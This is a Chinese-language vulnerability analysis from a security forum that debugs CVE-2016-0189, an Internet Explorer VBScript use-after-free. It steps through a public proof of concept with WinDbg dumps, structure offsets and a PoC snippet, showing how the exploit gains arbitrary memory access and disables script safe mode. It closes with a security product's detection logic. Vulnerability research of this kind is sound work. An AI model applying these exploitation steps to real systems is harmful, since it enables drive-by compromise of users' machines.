漏洞背景
CVE-2016-0189是一个vbscript脚本引擎损坏漏洞,最初作为一个0day被用在针对韩国的APT攻击中,并在2016年3月10号于MS16-051中被修复。
3个月后,国外安全人员通过补丁比对分析了漏洞成因,并将利用代码上传到Github。从此0189便被广泛纳入各种挂马,在今年的CVE-2018-8174出现之前,CVE-2016-0189一直是较新版本IE的挂马首选。
由于之前在调试这个漏洞时发现参考资料很少,特别是国内只看到一篇文章讨论这个漏洞,于是决定把调试过程写一下,不足之处请见谅。
漏洞成因
在vbs解析引擎中,vbscript!AccessArray 函数用来访问数组成员。例如访问一个二维数组A的成员A(1,1)时,vbs解析引擎就会调用这个函数,根据传入的索引计算待访问的地址。
2015年Hacking Team的泄漏中有两个通过重载valueof函数来触发的flash 0day CVE-2015-5119 / CVE-2015-5122。
这两个漏洞的思路是当赋值方是个对象,而被赋值方出于某种原因要求接收一个数值时,会调用该对象的valueof方法进行转换,而valueof方法是可以被重载的,这样就可以在重载的valueof函数中进行一些自定义的操作,例如释放对象,改变数组大小等。
在vbscript!AccessArray函数内,当访问语句为如下形式时,就有可能进入上面的情景,而事实确实如此。
A(js_obj,1)
具体的逻辑如下图所示,cp_var_index->vt 代表索引变量的类型,当索引类型为VT_I2和VT_I4时,直接返回该对象的值,而其他情况下会调用vbscript!rtVariantChangeTypeEx函数,并在里面调用oleaut32!VariantChangeTypeEx 函数,随后会调用对象的 valueof 方法。
我们来看一下 VT_I2 和 VT_I4 代表什么:
The value of a VT_I2 type property MUST be a 2-byte signed integer. It MUST be formatted in little-endian byte order.
The value of a VT_I4 type property MUST be a 4-byte signed integer. It MUST be formatted in little-endian byte order.
当传入索引是有符号短整型和有符号长整型型时,就直接使用其值,而当索引为其他类型时(例如当传入对象为js对象时,变量类型为VT_DISPATCH),就调用 vbscript!rtVariantChangeTypeEx 函数将对象值转化为要求的类型,最终通过调用valueof方法返回该值。
In vbscript!AccessArray
call vbscript!rtVariantChangeTypeEx
call oleaut32!VariantChangeTypeEx
...
call valueof
如果我们在重载的valueof内改变数组的大小,当返回上层继续访问数组元素时,就会产生问题。
poc中的思路是:先定义一个比较大的二维数组A(1, 2000),然后通过访问A(js_obj, 2)去调用重载的js_obj.valueof()方法将一维索引转化为合理的数组下标。在js_obj.valueof()内将数组缩小为A(1, 1),然后迅速用UAF进行占位,并在valueof方法的最后返回1,作为转换后的索引。转换完成后访问A(1, 2) 。
然而这时候的A(1, 2)已经变成了占位后的内存。攻击者多次利用这一特性来操控内存,分别实现泄漏一个类对象地址,任意地址读,和任意地址写。在此基础上找到vb的安全选项开关,利用一个单精度浮点数(vbSingle)的类型值(4)去覆盖原来的安全开关属性值(0x0E -> 0x?4),从而开启上帝模式。
vbscript.dll 内判断对象安全性的函数是 COleScript::InSafeMode,汇编代码如下图所示。可以看到test指令对dword ptr [ecx+174]的值与0x0B(00001011)进行与运算,若结果为0,即认为不处于 SafeMode,放行对象执行。
调试环境
windows 7 sp1 x86 无补丁 + vbscript.dll/oleaut32.dll 5.8.7601.17514 + windbg 6.11 x86
POC分析与调试
poc的主入口为exploit函数,原代码的注释写的很清晰,可以看到exploit函数分为5个步骤:
步骤1:泄漏 VBScriptClass 对象地址
getAddr函数的逻辑又可以分为如几步:
初始化一个 ArrayWrapper 类实例,此过程调用重载的 Class_Initialize 方法初始化一个二维数组A(1, 2000)
在访问A数组时针对一维索引传入一个js对象,导致调用重载的valueof方法
在重载的 valueof 方法中,调用 triggerBug 函数
triggerBug 函数中调用 ArrayWrapper.Resize 方法将数组缩小为A(1, 1),这将导致多余部分的内存被释放
利用精心构造的数据(y数组)迅速占用刚刚被释放的内存
在重载的valueof方法最后返回1,返回后继续访问A(1, 2),从而将s对象写入可控的内存
遍历y数组,通过对比 VarType 找出s对象(s是一个空class实例)并返回其地址
VBScriptClass继承了NameTbl,其头部是一个 NameTbl 结构体,NameTbl 结构体偏移0x08处的值是一个指向 NameList 结构体的指针,NameList结构体偏移0x2C处是一个CDISPIDTable结构体,而 CDISPIDTable 结构体偏移0x08处的值是一个指针数组,每个数组元素都指向一个VAR结构体,代表一个类成员在类对象中的实体,整个关系如下所示:
先来看一下resize后的aw.A:
// VBScriptClass0:005> dd 0200ac80 l30/4
0200ac80 6d061748 00000002 0200ace0 02009420
0200ac90 00000e70 00000000 0200adbc 00000000
0200aca0 00000000 0039be4c 00000000 0055fcf8// class name0:005> du 0039be4c
0039be4c "ArrayWrapper"// NameList0:005> dd 0200ace0
0200ace0 0200adb8 000000c8 00000100 00000100
0200acf0 00004000 0200adbc 0200ae70 0200ad70
0200ad00 0000000f 00000003 00000040 00000003
0200ad10 00000014 0200ad18 0200adbc 0200ae10
0200ad20 0200ae50 00000135 0000013f 00000000
0200ad30 0200acf4 0200ad08 00000047 00000000
0200ad40 00000140 00000141 00000043 00000000
0200ad50 00000135 00000141 00000000 0200ad1c// CDISPIDTable0:005> dd 0200ace0+2c
0200ad0c 00000003 00000014 0200ad18 0200adbc
0200ad1c 0200ae10 0200ae50 00000135 0000013f
0200ad2c 00000000 0200acf4 0200ad08 00000047
0200ad3c 00000000 00000140 00000141 00000043
0200ad4c 00000000 00000135 00000141 00000000
0200ad5c 0200ad1c 0200ad38 00000044 77fb323f
0200ad6c 08011193 00000000 0200ae50 0200ae10
0200ad7c 00000000 00000000 00000000 00000000// slots_start0:005> dd 0200ad18 l8
0200ad18 0200adbc 0200ae10 0200ae50 00000135
0200ad28 0000013f 00000000 0200acf4 0200ad08// slot前两个成员为aw显式声明的两个成员函数, 第三个成员为aw.A0:005> dd 0200ae50 l4
0200ae50 0000600c 00000000 0200ae5c 0036c1e8// 可以看到此时aw为一个二维数组,大小为(1+1, 1+1)0:005> dd 0036c1e8 l8
0036c1e8 08800002 00000010 00000000 034d8678
0036c1f8 00000002 00000000 00000002 00000000// aw.A.pvData0:005> dd 034d8678
034d8678 00000000 00000000 00000000 00000000
034d8688 00000000 00000000 00000000 00000000
034d8698 00000000 00000000 00000000 00000000
034d86a8 00000000 00000000 00000000 00000000
034d86b8 7d3b38dd 0807e4ee 0000bb80 41414141
034d86c8 00000009 00000000 0055fcf8 00000000 // 被写入的s对象034d86d8 00440044 00440044 00440044 00440044
034d86e8 00440044 00440044 00440044 00440044// aw.A.pvData, 以byte查看0:005> db 034d8678
034d8678 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
034d8688 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
034d8698 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
034d86a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
034d86b8 dd 38 3b 7d ee e4 07 08-80 bb 00 00 41 41 41 41 .8;}........AAAA
034d86c8 09 00 00 00 00 00 00 00-f8 fc 55 00 00 00 00 00 ..........U.....
034d86d8 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
034d86e8 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
再来看一下占位成功后的y数组情况:
// 可以看到y是一个一维数组,成员数量为(32+1)0:005> dd 00370bf0 l6
00370bf0 08920001 00000010 00000000 003d2928
00370c00 00000021 00000000// y.pvData0:005> dd 003d2928
003d2928 6d060008 e0d3a79f 034d86c4 6d065482
003d2938 6d060008 e0d3a79f 034e425c 6d065482
003d2948 6d060008 e0d3a79f 034efdf4 6d065482
003d2958 6d060008 e0d3a79f 034fb98c 6d065482
003d2968 6d060008 e0d3a79f 03507524 6d065482
003d2978 6d060008 e0d3a79f 035130bc 6d065482
003d2988 6d060008 e0d3a79f 0351ec54 6d065482
003d2998 6d060008 e0d3a79f 0352a7ec 6d065482// y(0), 以byte查看0:005> db 034d86c4
034d86c4 41 41 41 41 09 00 00 00-00 00 00 00 f8 fc 55 00 AAAA..........U.
034d86d4 00 00 00 00 44 00 44 00-44 00 44 00 44 00 44 00 ....D.D.D.D.D.D.
034d86e4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
034d86f4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
034d8704 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
034d8714 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
034d8724 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
034d8734 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
下图分别以aw.A视角(红色框区域)和y视角(黄色框区域)看s对象,不难发现有4字节的错位:
理解上图之后,我们就可以根据条件查找包含s对象的y数组成员,调试时恒为y(0)。poc里面申请32次内存是确保释放后的内存一定被y中的某个成员再次使用,进而从32个成员里面找出包含s对象的那个成员。
For i = 0 To 31
' Mid(y(i), 3, 1) 即取出上面日志中的 09 00, 与s对象的类型vbObject进行比对, 若相等则进入if, 调试时i恒为0, 说明释放后的内存被y(0)立即占用
' Mid(y(i), 3 + 4, 2) 即取出上图中的 f8 fc 55 00, strToInt将其转化为 0055fcf8, 即s对象的地址
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
0:005> dd 0055fcf8 l30/4
0055fcf8 6d061748 00000023 00000000 02009420
0055fd08 00000e70 00000000 00000000 00000000
0055fd18 00000000 00371524 0200ac80 00000000
0:005> ln 6d061748
(6d061748) vbscript!VBScriptClass::`vftable' | (6d06c518) vbscript!__pfnDefaultDliNotifyHook2
Exact matches:
vbscript!VBScriptClass::`vftable' =
// 可以看到泄漏的s对象正是Dummy类的实例
0:005> du 00371524
00371524 "Dummy"
泄漏了s对象的地址后,我们通过相关数据结构去获取vbscript!SafetyOption 的内存地址,并将其改写为0x00或0x04。查找过程如下:
下面对此进行说明。
步骤2:读取CSession对象指针
poc中读取CSession对象指针的代码如下所示:
由前面的分析已知addr是一个 VBScriptClass 实例指针,我们可以看到代码把addr+8的地址传入leakMem函数,并通过Mid(mem, 3, 2) 将 CSession 对象指针获取出来并转换为16进制。
一个疑问
为什么上述代码不写成如下形式?
mem = leakMem(arg1, addr + &hc)
csession = strToInt(Mid(mem, 1, 2))
为了回答这个问题,我们先来看一下leakMem函数的实现:
leakMem的基本逻辑是在占位内存中构造一个字符串地址(Data High)为待读取地址的字符串对象,然后再次利用漏洞触发UAF,从而使aw.A(1, 2)处改写为一个VT_BSTR对象,随后读取该对象,从而使addr处的数据被当做定长字符串读出,最后在读取的字符串中定位CSession指针对应的部分并转化为对应的32位地址。
图片出处
我们来回顾一下BSTR对象的结构:
图片出处
关键点在于字符串前面的4字节,这4字节是一个长度域,指定了后面待读取的unicode字符串长度。现在再来看一下前面问题的那个问题。
这是本次调试中getAddr函数返回的 VBScriptClass 实例:
0:005> dd 0055fcf8 l30/4
0055fcf8 6d061748 00000023
0055fd08 00000e70 00000000 00000000 00000000
0055fd18 00000000 00371524 0200ac80 00000000
原poc中传入的是addr+8,那么可以构造出如下的BSTR结构:
// 长度0:005> dd 0055fcf8+8-4 l1
0055fcfc 00000023// 数据0:005> db 0055fcf8+8 l23*2
0055fd00 00 00 00 00 20 94 00 02-70 0e 00 00 00 00 00 00 .... ...p.......
0055fd10 00 00 00 00 00 00 00 00-00 00 00 00 24 15 37 00 ............$.7.
0055fd20 80 ac 00 02 00 00 00 00-3f 32 fb 77 86 11 00 08 ........?2.w....
0055fd30 00 00 00 00 74 ab 00 02-00 00 00 00 00 00 00 00 ....t...........
0055fd40 00 00 00 00 00 00
这样可以成功读取包含Csession地址的字符串。
如果代码这样写:
mem = leakMem(arg1, addr + &hc)
csession = strToInt(Mid(mem, 1, 2))
但当传入addr+c时,构造的BSTR如下:
// 长度为0, 无法读出数据0:005> dd 0055fcf8+c-4 l1
0055fd00 00000000
0:005> db 0055fcf8+c
0055fd04 20 94 00 02 70 0e 00 00-00 00 00 00 00 00 00 00 ...p...........
0055fd14 00 00 00 00 00 00 00 00-24 15 37 00 80 ac 00 02 ........$.7.....
0055fd24 00 00 00 00 3f 32 fb 77-86 11 00 08 00 00 00 00 ....?2.w........
0055fd34 74 ab 00 02 00 00 00 00-00 00 00 00 00 00 00 00 t...............
0055fd44 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0055fd54 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0055fd64 00 00 00 00 00 00 00 00-00 00 00 00 35 32 fa 7c ............52.|
0055fd74 88 11 00 00 60 af 00 02-f8 81 00 02 2b 00 00 00 ....`.......+...
此时构造的BSTR的长度域为0,数据无法正常读出。
步骤3:读取 COleScript 对象指针
poc中读取COleScript对象指针的代码如下,原理和上一步完全相同,此处不再过多分析:
步骤4:覆写vbscript!SafetyOption
在IE8中,vbscript!SafetyOption 位于 COleScript 对象的 +0x174 处。poc代码中通过调用 overwrite 函数去覆写这一值,如下:
代码中伪造一个 type=0x400C 间接寻址对象,接着触发漏洞,随后将一个Csng(单精度浮点)对象的写入 COleScript+0x16C 开始的16个字节处,COleScript+0x174 处正好写入Csng的type值4,从而开启上帝模式。
// type = 0x400c 对应间接寻址0:005> dd 03218184+4 l4
03218188 0000400c 00000000 0036f914 00440044// 覆盖前的SafetyOption0:005> dd 0036f914 l1
0036f914 0000000e// 覆盖后的SafetyOption,SafetyOption & 0x0B失效(0x024f0004 & 0x0B = 0)0:005> dd 0036f914 l1
0036f914 024f0004
步骤5
开启上帝模式后,就可以弹出cmd窗口了。
漏洞检测
下面通过逆向某安全软件来看一下对CVE-2016-0189的动态检测方案。
1、首先 hook oleaut32!VariantChangeTypeEx 函数
2、可以看到代码中对 CVE-2016-0189 的检测逻辑为:在调用oleaut32!VariantChangeTypeEx 函数前后检查 rgsabound[0].cElements 所对应的第二维度的大小,若调用后的大小小于调用前的大小,则视为检出。
0:013> dt ole32!tagSAFEARRAY
+0x000 cDims : Uint2B
+0x002 fFeatures : Uint2B
+0x004 cbElements : Uint4B
+0x008 cLocks : Uint4B
+0x00c pvData : Ptr32 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:013> dt ole32!tagSAFEARRAYBOUND
+0x000 cElements : Uint4B
+0x004 lLbound : Int4B// 调用VariantChangeTypeEx前的aw.A0041e7a0 08800002 00000010 00000000 02ff0f58
0041e7b0 000007d1 00000000 00000002 00000000// 调用VariantChangeTypeEx后的aw.A0041e7a0 08800002 00000010 00000000 02ff0f58
0041e7b0 00000002 00000000 00000002 00000000// rgsabound[0].cElements大小变化如下:7d1(2000+1) -> 2(1+1)
这里有一个疑问,MSDN对多维数组的rgsabound域解释.aspx)如下:
但调试时发现A(1, 2000)的rgsabound实际使用顺序和文档描述相反,看检测逻辑里面判断的也是 rgsabound[0]->cElements。我们以实际调试结果为主。
致谢
特别感谢 Hu Jiang,Xu Xilin,Yang Kang 在调试过程中的指导
参考链接
《CVE-2016-0189》 https://theori.io/research/cve-2016-0189
《theori-io/cve-2016-0189》 https://github.com/theori-io/cve-2016-0189
《Nebula漏洞利用包CVE-2016-0189漏洞利用分析》 http://www.freebuf.com/sectool/131766.html
《WinDbg 漏洞分析调试(三)之 CVE-2014-6332》 https://paper.seebug.org/240/
《Write Once, Pwn Anywhere》 https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
原文出自:[原创]CVE-2016-0189 vbs脚本引擎损坏漏洞分析
本文由看雪论坛 银雁冰 原创
转载请注明来自看雪社区